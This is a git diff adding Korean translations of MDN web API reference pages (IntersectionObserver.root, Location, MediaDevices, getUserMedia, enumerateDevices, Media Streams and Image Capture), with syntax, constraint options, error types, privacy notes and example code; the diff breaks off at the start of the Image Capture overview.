{{domxref("IntersectionObserver")}} 인터페이스의 read-only 속성인 root는 옵저버의 타겟 엘리먼트가 속한 화면의 경계, 즉 {{Glossary("viewport")}}의 {{Glossary("bounding box")}} 처럼 취급되는 {{domxref("Element")}} 이나 {{domxref("Document")}} 를 식별합니다. 만일 rootnull 이라면 화면 경계는 실제 document viewport가 사용됩니다.

+ +

문법

+ +
var root = intersectionObserver.root;
+
+ +

Value

+ +

{{domxref("Element")}} 이나 {{domxref("Document")}} 객체로, 해당 객체의 bounding box는 observer에 의해 관찰되는 대상 요소가 화면상에 얼마나 보여지는가를 가늠할 뷰포트의 경계로 사용됩니다.

+ +

사각형 경계의 교차성, {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} 객체 생성시에 설정된 임의의 margin에 의한 offset, 대상 요소의 경계에서 타겟 요소와 겹쳐진 모든 요소나 다른 객체의 경계를 제외한 것이 대상 요소의 가시성 계산에 고려됩니다.

+ +

만일 rootnull이라면 현재 document가 root로 사용되며, 그것의 viewport의 경계(즉 document의 노출 영역)가 root 의 경계로 사용됩니다.

+ +

사용예

+ +

이 예제는 intersection observer의 root 요소의 {{cssxref("border")}}를 2픽셀 너비의 녹색 라인으로 설정합니다.

+ +
observer.root.style.border = "2px solid #44aa44";
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IntersectionObserver', '#dom-intersectionobserver-root', 'IntersectionObserver')}}{{Spec2('IntersectionObserver')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.IntersectionObserver.root")}}

+ +

See also

+ + diff --git a/files/ko/web/api/location/index.html b/files/ko/web/api/location/index.html new file mode 100644 index 0000000000..42587a8572 --- /dev/null +++ b/files/ko/web/api/location/index.html @@ -0,0 +1,112 @@ +--- +title: Location +slug: Web/API/Location +tags: + - API + - HTML DOM + - Interface + - Location + - Reference +translation_of: Web/API/Location +--- +
{{APIRef("HTML DOM")}}
+ +

Location 인터페이스는 객체가 연결된 장소(URL)를 표현합니다. Location 인터페이스에 변경을 가하면 연결된 객체에도 반영되는데, {{domxref("Document")}}와 {{domxref("Window")}} 인터페이스가 이런 Location을 가지고 있습니다. 각각 {{domxref("Document.location")}}과 {{domxref("Window.location")}}으로 접근할 수 있습니다.

+ +

속성

+ +

Location 인터페이스는 아무 속성도 상속하지 않지만, {{domxref("URLUtils")}}의 속성을 구현합니다.

+ +
+
{{domxref("Location.href")}}
+
온전한 URL을 값으로 하는 {{domxref("DOMString")}}입니다. 바뀔 경우 연결된 문서도 새로운 페이지로 이동합니다. 연결된 문서와 다른 오리진에서도 설정할 수 있습니다.
+
{{domxref("Location.protocol")}}
+
URL의 프로토콜 부분을 값으로 하는 {{domxref("DOMString")}}으로, 마지막의 ':'도 포함합니다.
+
{{domxref("Location.host")}}
+
URL의 호스트 부분을 값으로 하는 {{domxref("DOMString")}}으로, 호스트명, ':', 포트 번호를 포함합니다.
+
{{domxref("Location.hostname")}}
+
URL의 도메인 부분을 값으로 하는 {{domxref("DOMString")}}입니다.
+
{{domxref("Location.port")}}
+
URL의 포트 번호를 값으로 하는 {{domxref("DOMString")}}입니다.
+
{{domxref("Location.pathname")}}
+
'/' 문자 뒤 URL의 경로를 값으로 하는 {{domxref("DOMString")}}입니다.
+
{{domxref("Location.search")}}
+
'?' 문자 뒤 URL의 쿼리스트링을 값으로 하는 {{domxref("DOMString")}}입니다. 모던 브라우저에서는 {{domxref("URLSearchParams.get()")}}과 {{domxref("URL.searchParams")}}를 사용해서 인자를 쉽게 추출할 수 있습니다.
+
{{domxref("Location.hash")}}
+
'#' 문자 뒤 URL의 프래그먼트 식별자를 값으로 하는 {{domxref("DOMString")}}입니다.
+
{{domxref("Location.username")}}
+
도메인 이름 이전에 명시된 사용자명을 값으로 하는 {{domxref("DOMString")}}입니다.
+
{{domxref("Location.password")}}
+
도메인 이름 이전에 명시된 비밀번호를 값으로 하는 {{domxref("DOMString")}}입니다.
+
{{domxref("Location.origin")}} {{readOnlyInline}}
+
지정한 장소 오리진의 표준 형태를 값으로 하는 {{domxref("DOMString")}}입니다.
+
+ +

메서드

+ +

Location 인터페이스는 아무 메서드도 상속하지 않지만, {{domxref("URLUtils")}}의 메서드를 구현합니다.

+ +
+
{{domxref("Location.assign()")}}
+
주어진 URL의 리소스를 불러옵니다.
+
{{domxref("Location.reload()")}}
+
현재 URL의 리소스를 다시 불러옵니다. 선택적으로 매개변수에 true를 제공해 브라우저 캐시를 무시하고 서버에서 새로 불러올 수 있습니다,
+
{{domxref("Location.replace()")}}
+
Replaces the current resource with the one at the provided URL. The difference from the assign() method is that after using replace() the current page will not be saved in session {{domxref("History")}}, meaning the user won't be able to use the back button to navigate to it.
+
{{domxref("Location.toString()")}}
+
Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("URLUtils.href")}}, though it can't be used to modify the value.
+
+ +

예제

+ +
// Create anchor element and use href property for the purpose of this example
+// A more correct alternative is to browse to the URL and use document.location or window.location
+var url = document.createElement('a');
+url.href = 'https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container';
+console.log(url.href);      // https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container
+console.log(url.protocol);  // https:
+console.log(url.host);      // developer.mozilla.org:8080
+console.log(url.hostname);  // developer.mozilla.org
+console.log(url.port);      // 8080
+console.log(url.pathname);  // /en-US/search
+console.log(url.search);    // ?q=URL
+console.log(url.hash);      // #search-results-close-container
+console.log(url.origin);    // https://developer.mozilla.org:8080
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "browsers.html#the-location-interface", "Location")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Location")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Location")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/location/reload/index.html b/files/ko/web/api/location/reload/index.html new file mode 100644 index 0000000000..4cd050e024 --- /dev/null +++ b/files/ko/web/api/location/reload/index.html @@ -0,0 +1,56 @@ +--- +title: Location.reload() +slug: Web/API/Location/reload +tags: + - API + - HTML DOM + - Location + - Method + - Reference +translation_of: Web/API/Location/reload +--- +
{{ APIRef("HTML DOM") }}
+ +

Location.reload() 메서드는 새로고침 버튼처럼 현재 리소스를 다시 불러옵니다.

+ +

새로고침은 SECURITY_ERROR {{domxref("DOMException")}}과 함께 거부당할 수 있습니다. 이는 location.reload()를 호출한 스크립트의 {{glossary("origin", "출처")}}와 {{domxref("Location")}} 객체를 소유한 문서의 출처가 다를 때 발생합니다. 더 자세한 정보는 동일 출처 정책 문서를 참고하세요.

+ +

구문

+ +
location.reload();
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "history.html#dom-location-reload", "Location.reload()")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#dom-location-reload", "Location.reload()")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Location.reload")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/media_streams_api/index.html b/files/ko/web/api/media_streams_api/index.html new file mode 100644 index 0000000000..8e4c60730e --- /dev/null +++ b/files/ko/web/api/media_streams_api/index.html @@ -0,0 +1,92 @@ +--- +title: Media Capture and Streams API (미디어 스트림) +slug: Web/API/Media_Streams_API +tags: + - API + - Media + - Media Capture and Streams + - Media Capture and Streams API + - Media Streams API + - Overview +translation_of: Web/API/Media_Streams_API +--- +
{{DefaultAPISidebar("Media Capture and Streams")}}
+ +

Media Streams API, 짧게는 MediaStream API라고 불리는 Media Capture and Streams API는 오디오와 비디오 데이터 스트리밍을 지원하는 WebRTC 관련 API 입니다. 이 API는 미디어 스트림과 스트림을 구성하는 트랙, 데이터 형식과 관련된 제한인자, 데이터를 비동기적으로 사용할 때의 성공과 오류 콜백, 그리고 이 과정에서 발생하는 이벤트에 대한 인터페이스 및 메서드를 제공합니다.

+ +

개념 및 사용법

+ +

이 API는 오디오 혹은 비디오와 관련된 데이터를 나타내는 {{domxref("MediaStream")}} 객체 조작에 기반합니다.

+ +

MediaStream은 0개 이상의 {{domxref("MediaStreamTrack")}} 객체로 구성되며, 각자 다양한 오디오와 비디오 트랙을 나타냅니다. 각각의 MediaStreamTrack은 하나 이상의 채널을 가질 수 있습니다. 채널은, 오디오로 예를 들면 스테레오 오디오 트랙에서의 "왼쪽"과 "오른쪽"처럼, 미디어 스트림의 제일 작은 단위를 나타냅니다.

+ +

MediaStream 객체는 하나의 입력과 하나의 출력을 가집니다. {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}로 생성한 MediaStream 객체는 "로컬" 미디어 스트림이라고 부르며, 사용자의 카메라와 마이크 중 하나를 입력 출처로 사용합니다. 반면 {{htmlelement("video")}}, {{htmlelement("audio")}}와 같은 미디어 요소, 네트워크에서 들어오는 스트림, WebRTC {{domxref("RTCPeerConnection")}} API로 획득한 스트림, Web Audio API {{domxref("MediaStreamAudioSourceNode")}}로 생성한 스트림 등은 비 로컬 MediaStream이라고 합니다.

+ +

MediaStream 객체의 출력은 소비자(컨슈머)로 연결됩니다. 소비자는 {{htmlelement("video")}}, {{htmlelement("audio")}}와 같은 미디어 요소, WebRTC {{domxref("RTCPeerConnection")}} API, Web Audio API {{domxref("MediaStreamAudioSourceNode")}}가 가능합니다.

+ +

인터페이스

+ +

아래의 참고 문서에서는 Media Capture and Streams API를 구성하는 인터페이스에 대한 기초적인 지식을 찾을 수 있습니다.

+ +
+ +
+ +

Media Capture and Streams API의 초기 명세는 {{domxref("MediaStreamTrack")}}에 기반한 별도의 AudioStreamTrackVideoStreamTrack 인터페이스를 포함했으며, 각자 오디오와 비디오 스트림을 따로 나타냈었습니다. 그러나 이런 구분은 더 이상 존재하지 않으며, 두 인터페이스를 사용하는 코드는 MediaStreamTrack을 직접 사용하도록 업데이트해야 합니다.

+ +

이벤트

+ +
+ +
+ + + +

브라우저 호환성

+ + + +

{{Compat("api.MediaStream")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediadevices/enumeratedevices/index.html b/files/ko/web/api/mediadevices/enumeratedevices/index.html new file mode 100644 index 0000000000..e49f88a6ba --- /dev/null +++ b/files/ko/web/api/mediadevices/enumeratedevices/index.html @@ -0,0 +1,88 @@ +--- +title: MediaDevices.enumerateDevices() +slug: Web/API/MediaDevices/enumerateDevices +translation_of: Web/API/MediaDevices/enumerateDevices +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("MediaDevices")}}의  enumerateDevices() 메서드는 사용(또는 접근)이 가능한 미디어 입력장치나 출력장치들의 리스트를 가져옵니다. 예를 들면 마이크, 카메라, 헤드셋 등의 미디어 입/출력 장치 리스트를 불러오는 것 이죠. 이 메서드는 {{domxref("Promise")}}를 반환하는데, 이 Promise가 resolve되면 장치(device)정보가 들어있는 {{domxref("MediaDeviceInfo")}} 배열(array)을 확인할 수 있습니다.

+ +

Syntax (구문)

+ +
var enumeratorPromise = navigator.mediaDevices.enumerateDevices();
+
+ +

Return value ( 반환값 )

+ +

반환받는 {{ domxref("Promise") }}는 모든 장치 리스트를 가져오는 것에 성공하면 {{domxref("MediaDeviceInfo")}}객체 배열(array)를 받습니다. 배열에 들어있는 객체들은 각각의 장치정보를 가지고 있습니다.

+ +

장치 리스트를 가져오는 것이 실패하면, promise는 rejected처리 됩니다.

+ +

Example (예제)

+ +

enumerateDevices()을 사용하는 방법을 알아봅시다. 아래는 장치 종류와  device IDs (장치 아이디)를 반환하며, 레이블이 있을 경우 레이블도 보여주는 간단한 코드 입니다.

+ +
if (!navigator.mediaDevices || !navigator.mediaDevices.enumerateDevices) {
+  console.log("enumerateDevices()를 지원하지 않습니다.");
+  return;
+}
+
+// 카메라와 마이크 리스트
+
+navigator.mediaDevices.enumerateDevices()
+.then(function(devices) {
+  devices.forEach(function(device) {
+    console.log(device.kind + ": " + device.label +
+                " id = " + device.deviceId);
+  });
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+
+ +

위 코드를 실행하면 아래와 같은 결과를 볼 수 있을 것입니다.:

+ +
videoinput: id = csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: id = RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: id = r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+
+ +

또는 하나 이상의 {{domxref("MediaStream")}}이 사용 가능하거나 접근(사용권한)이 가능할  경우:

+ +
videoinput: FaceTime HD Camera (Built-in) id=csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: default (Built-in Microphone) id=RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: Built-in Microphone id=r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediadevices-enumeratedevices', 'mediaDevices: enumerateDevices')}}{{Spec2('Media Capture')}}Initial definition.
+ +

Browser compatibility (브라우저 호환)

+ + + +

{{Compat("api.MediaDevices.enumerateDevices")}}

+ +

See also

+ + diff --git a/files/ko/web/api/mediadevices/getusermedia/index.html b/files/ko/web/api/mediadevices/getusermedia/index.html new file mode 100644 index 0000000000..d3722b3dd1 --- /dev/null +++ b/files/ko/web/api/mediadevices/getusermedia/index.html @@ -0,0 +1,296 @@ +--- +title: MediaDevices.getUserMedia() +slug: Web/API/MediaDevices/getUserMedia +tags: + - API + - Media + - Media Capture and Streams API + - Media Streams API + - MediaDevices + - Method + - Reference + - WebRTC +translation_of: Web/API/MediaDevices/getUserMedia +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaDevices")}} 인터페이스의 getUserMedia() 메서드는 사용자에게 미디어 입력 장치 사용 권한을 요청하며, 사용자가 수락하면 요청한 미디어 종류의 트랙을 포함한 {{domxref("MediaStream")}}을 반환합니다. 스트림은 카메라, 비디오 녹화 장치, 스크린 공유 장치 등 하드웨어와 가장 비디오 소스가 생성하는 비디오 트랙과, 마이크, A/D 변환기 등 물리적과 가상 오디오 장치가 생성하는 오디오 스트림, 그리고 그 외의 다른 종류의 스트림을 포함할 수 있습니다.

+ +

반환하는 값은 {{domxref("MediaStream")}} 객체로 이행하는 {{jsxref("Promise")}}입니다. 사용자가 권한 요청을 거부했거나 일치하는 유형의 미디어를 사용할 수 없는 경우, 프로미스는 각각 NonAllowedErrorNotFoundError로 거부합니다.

+ +
+

참고: 사용자가 권한 요청에 대한 선택을 하지 않고 완전히 무시할 수도 있기 때문에, 프로미스 또한 이행도 거부도 하지 않을 수 있습니다.

+
+ +

보통, {{domxref("MediaDevices")}} 싱글톤 객체는 다음과 같이 {{domxref("navigator.mediaDevices")}}를 사용해 접근합니다.

+ +
async function getMedia(constraints) {
+  let stream = null;
+
+  try {
+    stream = await navigator.mediaDevices.getUserMedia(constraints);
+    /* 스트림 사용 */
+  } catch(err) {
+    /* 오류 처리 */
+  }
+}
+ +

프로미스를 직접 사용할 경우 다음과 같습니다.

+ +
navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  /* 스트림 사용 */
+})
+.catch(function(err) {
+  /* 오류 처리 */
+});
+ +
+

참고: 현재 문서를 안전하게 불러온 경우가 아니라면 navigator.mediaDevicesundefined이므로 getUserMedia()도 사용할 수 없습니다. {{anch("개인정보와 보안")}} 항목에서 getUserMedia()와 관련된 보안 문제를 자세히 살펴보세요.

+
+ +

구문

+ +
const promise = navigator.mediaDevices.getUserMedia(constraints);
+
+ +

매개변수

+ +
+
constraints
+
+

요청할 미디어 유형과 각각에 대한 요구사항을 지정하는 {{domxref("MediaStreamConstraints")}} 객체.

+ +

constraints 매개변수는 두 개의 구성 요소, videoaudio를 가지는 객체로, 요청할 미디어 유형에 대해 설명합니다. 둘 중 적어도 하나는 지정해야 합니다. 브라우저가 주어진 유형과 제약을 만족하는 미디어 트랙을 하나도 찾을 수 없는 경우 프로미스는 NotFoundError와 함께 거부합니다.

+ +

다음은 특별한 요구사항 없이 오디오와 비디오 둘 다 요청하는 매개변수입니다.

+ +
{ audio: true, video: true }
+ +

미디어 타입에 true 가 지정된 경우 각 타입에 맞는 장치가 사용 준비된 상태이어야 하며, 만약 사용 준비가 안 된 상태에서 getUserMedia() 를 호출하면 오류를 반환합니다.

+ +

constraints 매개변수에 세부사항을 지정하여 카메라와 마이크에 세부적인 요청을 할 수 있습니다. 아래의 코드는 비디오의 해상도를 1280x720로 지정하는 예제입니다.

+ +
{
+  audio: true,
+  video: { width: 1280, height: 720 }
+}
+ +

브라우저는 지정한 해상도의 비디오 트랙을 가져오기 위해 시도하지만, 어떤 이유로든 지정한 해상도의 트랙을 가져올 수 없다면 다른 해상도의 비디오 트랙을 반환합니다.

+ +

아래와 같이 minmax 키워드를 사용하여 최소 해상도를 1280x720으로 지정할 수도 있으며, exact (논리적으로 min == max 와 같음) 키워드를 사용하여 특정 해상도를 지정할 수도 있습니다.

+ +
{
+  audio: true,
+  video: {
+    width: { min: 1280 },
+    height: { min: 720 }
+  }
+}
+ +

만약 카메라에서 지원하는 해상도 중에서 1280x720해상도가 없거나 이 이상의 해상도 역시 없는 경우 promise는 rejected 상태로 OverconstrainedError 를 반환하며, 사용자에게 미디어 장치 사용 권한 요청을 하지 않습니다.

+ +

minmax 키워드만 사용한 경우 최소, 최대 해상도를 지정할 수는 있지만, 브라우저는 최솟값을 기준으로 제공할 수 있는 해상도를 찾아 미디어 스트림을 반환합니다.  일반적으로 이러한 동작은 우리의 의도와 다릅니다. 그래서 ideal 키워드를 사용하여 이상적인 해상도를 지정할 수 있습니다.

+ +

아래의 코드를 논리적으로 해석하면 1024x776 - 1120x800 - 1350x1020 - 1920x1080 와 같이 지원하는 여러 해상도가 있으면 브라우저는 ideal 해상도와 가장 근사하는 1120x800 해상도를 미디어 장치에 요청 후 반환합니다.

+ +
{
+  audio: true,
+  video: {
+    width: { min: 1024, ideal: 1280, max: 1920 },
+    height: { min: 776, ideal: 720, max: 1080 }
+  }
+}
+
+ +

아래와 같이 최솟값 최댓값 지정 없이 ideal 해상도만 지정할 수도 있습니다.

+ +
{
+  audio: true,
+  video: {
+    width: { ideal: 1280 },
+    height: { ideal: 720 }
+  }
+}
+ +

모바일 장치의 전면 카메라를 요청하기 위한 코드:

+ +
{ audio: true, video: { facingMode: "user" } }
+ +

모바일 장치의 후면 카메라를 요청하기 위한 코드:

+ +
{ audio: true, video: { facingMode: { exact: "environment" } } }
+
+
+ +

반환 값

+ +

요청한 미디어를 성공적으로 얻었다면 {{domxref("MediaStream")}} 을 수신하는 핸들러가 {{jsxref("Promise")}} 형태로 스트림을 반환합니다.

+ +

예외

+ +

promise 이행이 실패하면 실패 처리 핸들러로 {{domxref("DOMException")}} 에러 객체가 전달됩니다. 발생 가능한 에러 종류:

+ +
+
AbortError
+
사용자와 운영체제에서 하드웨어 장치 사용 권한을 부여받고 NotReadableError 에러를 발생시키는 하드웨어 문제가 발생하지 않았지만, 다른 프로그램에서 해당 장치를 사용 중인 경우 이 에러가 발생합니다.
+
NotAllowedError
+
사용자가 브라우저 설정을 통해 장치에 대한 접근권한을 차단하였거나 장치 사용 권한 요청에 거부한 경우 이 에러가 발생합니다. 이 외에도 어떤 식으로든 장치에 대한 접근을 차단하였다면 이 에러가 발생합니다. +
이전 버전의 규격에서는 이 에러와 SecurityError 를 동일한 의미로 사용하였지만, 현재 버전에서는 다른 의미로 사용하므로 혼용하여선 안 됩니다.
+
+
NotFoundError
+
constraints 매개변수 조건에 맞는 미디어 트랙이 없는 경우 이 에러가 발생합니다.
+
NotReadableError
+
사용자가 접근 권한을 부여했고 조건에 맞는 미디어 트랙도 있지만 어떤 이유로든 장치에 액세스 할 수 없어서 운영체제, 브라우저, 웹 페이지 레벨에서 하드웨어 에러가 발생하여 이 에러가 발생합니다.
+
OverconstrainedError
+
The specified constraints resulted in no candidate devices which met the criteria requested. The error is an object of type OverconstrainedError, and has a constraint property whose string value is the name of a constraint which was impossible to meet, and a message property containing a human-readable string explaining the problem. +
Because this error can occur even when the user has not yet granted permission to use the underlying device, it can potentially be used as a fingerprinting surface.
+
+
SecurityError
+
User media support is disabled on the {{domxref("Document")}} on which getUserMedia() was called. The mechanism by which user media support is enabled and disabled is left up to the individual user agent.
+
TypeError
+
The list of constraints specified is empty, or has all constraints set to false.
+
+ +

User privacy

+ +

As an API that may involve significant privacy concerns, getUserMedia() is held by the specification to very specific requirements for user notification and permission management. First, getUserMedia() must always get user permission before opening any media gathering input such as a webcam or microphone. Browsers may offer a once-per-domain permission feature, but they must ask at least the first time, and the user must specifically grant ongoing permission if they choose to do so.

+ +

Of equal importance are the rules around notification. Browsers are required to display an indicator that shows that a camera or microphone is in use, above and beyond any hardware indicator that may exist. They must also show an indicator that permission has been granted to use a device for input, even if the device is not actively recording at the moment.

+ +

In Firefox, for example, the URL bar displays a pulsing red icon to indicate that recording is underway. The icon is gray if the permission is in place but recording is not currently underway. The device's physical light is used to indicate whether or not recording is currently active. If you've muted your camera (so-called "facemuting"), your camera's activity light goes out to indicate that the camera is not actively recording you, without discarding the permission to resume using the camera once muting is over.

+ +

Examples

+ +

Width and height

+ +

This example gives a preference for camera resolution, and assigns the resulting {{domxref("MediaStream")}} object to a video element.

+ +
// Prefer camera resolution nearest to 1280x720.
+var constraints = { audio: true, video: { width: 1280, height: 720 } };
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(mediaStream) {
+  var video = document.querySelector('video');
+  video.srcObject = mediaStream;
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) { console.log(err.name + ": " + err.message); }); // always check for errors at the end.
+
+ +

Using the new API in older browsers

+ +

Here's an example of using navigator.mediaDevices.getUserMedia(), with a polyfill to cope with older browsers. Note that this polyfill does not correct for legacy differences in constraints syntax, which means constraints won't work well across browsers. It is recommended to use the adapter.js polyfill instead, which does handle constraints.

+ +
// Older browsers might not implement mediaDevices at all, so we set an empty object first
+if (navigator.mediaDevices === undefined) {
+  navigator.mediaDevices = {};
+}
+
+// Some browsers partially implement mediaDevices. We can't just assign an object
+// with getUserMedia as it would overwrite existing properties.
+// Here, we will just add the getUserMedia property if it's missing.
+if (navigator.mediaDevices.getUserMedia === undefined) {
+  navigator.mediaDevices.getUserMedia = function(constraints) {
+
+    // First get ahold of the legacy getUserMedia, if present
+    var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
+
+    // Some browsers just don't implement it - return a rejected promise with an error
+    // to keep a consistent interface
+    if (!getUserMedia) {
+      return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
+    }
+
+    // Otherwise, wrap the call to the old navigator.getUserMedia with a Promise
+    return new Promise(function(resolve, reject) {
+      getUserMedia.call(navigator, constraints, resolve, reject);
+    });
+  }
+}
+
+navigator.mediaDevices.getUserMedia({ audio: true, video: true })
+.then(function(stream) {
+  var video = document.querySelector('video');
+  // Older browsers may not have srcObject
+  if ("srcObject" in video) {
+    video.srcObject = stream;
+  } else {
+    // Avoid using this in new browsers, as it is going away.
+    video.src = window.URL.createObjectURL(stream);
+  }
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+
+ +

Frame rate

+ +

Lower frame-rates may be desirable in some cases, like WebRTC transmissions with bandwidth restrictions.

+ +
var constraints = { video: { frameRate: { ideal: 10, max: 15 } } };
+
+ +

Front and back camera

+ +

On mobile phones.

+ +
var front = false;
+document.getElementById('flip-button').onclick = function() { front = !front; };
+
+var constraints = { video: { facingMode: (front? "user" : "environment") } };
+
+ +

Permissions

+ +

To use getUserMedia() in an installable app (for example, a Firefox OS app), you need to specify one or both of the following fields inside your manifest file:

+ +
"permissions": {
+  "audio-capture": {
+    "description": "Required to capture audio using getUserMedia()"
+  },
+  "video-capture": {
+    "description": "Required to capture video using getUserMedia()"
+  }
+}
+ +

See permission: audio-capture and permission: video-capture for more information.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediadevices-getusermedia', 'MediaDevices.getUserMedia()')}}{{Spec2('Media Capture')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.MediaDevices.getUserMedia")}}

+ +

See also

+ + diff --git a/files/ko/web/api/mediadevices/index.html b/files/ko/web/api/mediadevices/index.html new file mode 100644 index 0000000000..86f9133a5c --- /dev/null +++ b/files/ko/web/api/mediadevices/index.html @@ -0,0 +1,122 @@ +--- +title: MediaDevices +slug: Web/API/MediaDevices +tags: + - API + - Interface + - Media + - Media Capture and Streams API + - Media Streams API + - MediaDevices + - Reference + - Screen Capture API + - WebRTC +translation_of: Web/API/MediaDevices +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaDevices 인터페이스는 카메라, 마이크, 공유 화면 등 현재 연결된 미디어 입력 장치로의 접근 방법을 제공하는 인터페이스입니다. 다르게 말하자면, 미디어 데이터를 제공하는 모든 하드웨어로 접근할 수 있는 방법입니다.

+ +

속성

+ +

부모 인터페이스인 {{domxref("EventTarget")}}의 속성을 상속합니다.

+ +

이벤트

+ +
+
devicechange
+
사용자 컴퓨터에 미디어 입출력 장치가 추가되거나 제거됐을 때 발생합니다.
+ ondevicechange 속성으로도 사용할 수 있습니다.
+
+ +

메서드

+ +

부모 인터페이스인 {{domxref("EventTarget")}}의 메서드를 상속합니다.

+ +
+
{{ domxref("MediaDevices.enumerateDevices", "enumerateDevices()") }}
+
시스템에서 사용 가능한 미디어 입출력 장치의 정보를 담은 배열을 가져옵니다.
+
{{domxref("MediaDevices.getSupportedConstraints", "getSupportedConstraints()")}}
+
{{domxref("MediaStreamTrack")}} 인터페이스가 지원하는 제약을 나타내는 {{domxref("MediaTrackSupportedConstraints")}} 호환 객체를 반환합니다.
+ +
{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}
+
{{domxref("MediaStream")}}으로 캡처해 공유나 녹화 용도로 사용할 화면 혹은 화면의 일부(창)를 선택하도록 사용자에게 요청합니다. MediaStream으로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
{{ domxref("MediaDevices.getUserMedia", "getUserMedia()") }}
+
사용자에게 권한을 요청한 후, 시스템의 카메라와 오디오 각각 혹은 모두 활성화하여, 장치의 입력 데이터를 비디오/오디오 트랙으로 포함한 {{domxref("MediaStream")}}을 반환합니다.
+
+ +

예제

+ +
'use strict';
+
+// Put variables in global scope to make them available to the browser console.
+var video = document.querySelector('video');
+var constraints = window.constraints = {
+  audio: false,
+  video: true
+};
+var errorElement = document.querySelector('#errorMsg');
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  var videoTracks = stream.getVideoTracks();
+  console.log('Got stream with constraints:', constraints);
+  console.log('Using video device: ' + videoTracks[0].label);
+  stream.onremovetrack = function() {
+    console.log('Stream ended');
+  };
+  window.stream = stream; // make variable available to browser console
+  video.srcObject = stream;
+})
+.catch(function(error) {
+  if (error.name === 'ConstraintNotSatisfiedError') {
+    errorMsg('The resolution ' + constraints.video.width.exact + 'x' +
+        constraints.video.width.exact + ' px is not supported by your device.');
+  } else if (error.name === 'PermissionDeniedError') {
+    errorMsg('Permissions have not been granted to use your camera and ' +
+      'microphone, you need to allow the page access to your devices in ' +
+      'order for the demo to work.');
+  }
+  errorMsg('getUserMedia error: ' + error.name, error);
+});
+
+function errorMsg(msg, error) {
+  errorElement.innerHTML += '<p>' + msg + '</p>';
+  if (typeof error !== 'undefined') {
+    console.error(error);
+  }
+}
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#mediadevices', 'MediaDevices')}}{{Spec2('Media Capture')}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.MediaDevices")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastream_image_capture_api/index.html b/files/ko/web/api/mediastream_image_capture_api/index.html new file mode 100644 index 0000000000..016486c12d --- /dev/null +++ b/files/ko/web/api/mediastream_image_capture_api/index.html @@ -0,0 +1,100 @@ +--- +title: MediaStream Image Capture API +slug: Web/API/MediaStream_Image_Capture_API +tags: + - API + - MediaStream + - MediaStream Image Capture API + - Overview + - Reference + - 비디오 + - 사진 + - 이미지 +translation_of: Web/API/MediaStream_Image_Capture_API +--- +
{{DefaultAPISidebar("Image Capture API")}}
+ +

MediaStream Image Capture API는 촬영 장치를 사용해 이미지와 비디오를 캡처하기 위한 API입니다. 그러나 데이터 캡처 외에도 이미지 해상도, 적목 현상 감소 기능, 플래시 존재 유무와 현재 사용 여부 등 장치 사양에 대한 정보를 가져올 때에도 사용할 수 있습니다. 거꾸로, Image Capture API를 사용하면 현재 장치의 허용 범위 안에서 해당 기능을 조정할 수도 있습니다.

+ +

개념과 사용법

+ +

이미지 또는 비디오 스트림을 가져오는 절차는 다음과 같습니다. 예제 코드는 Chrome의 Image Capture 예제에서 가져온 것입니다.

+ +

우선, {{domxref("MediaDevices.getUserMedia()")}}를 사용해 장치를 가리키는 참조를 가져옵니다. 아래 코드는 단순히 사용 가능한 비디오 장치를 아무거나 요청하는 것이지만, getUserMedia() 메서드는더 상세한 장치 기능 요청도 허용합니다. 반환 값은 {{domxref("MediaStream")}} 객체로 이행하는 {{jsxref("Promise")}}입니다.

+ +
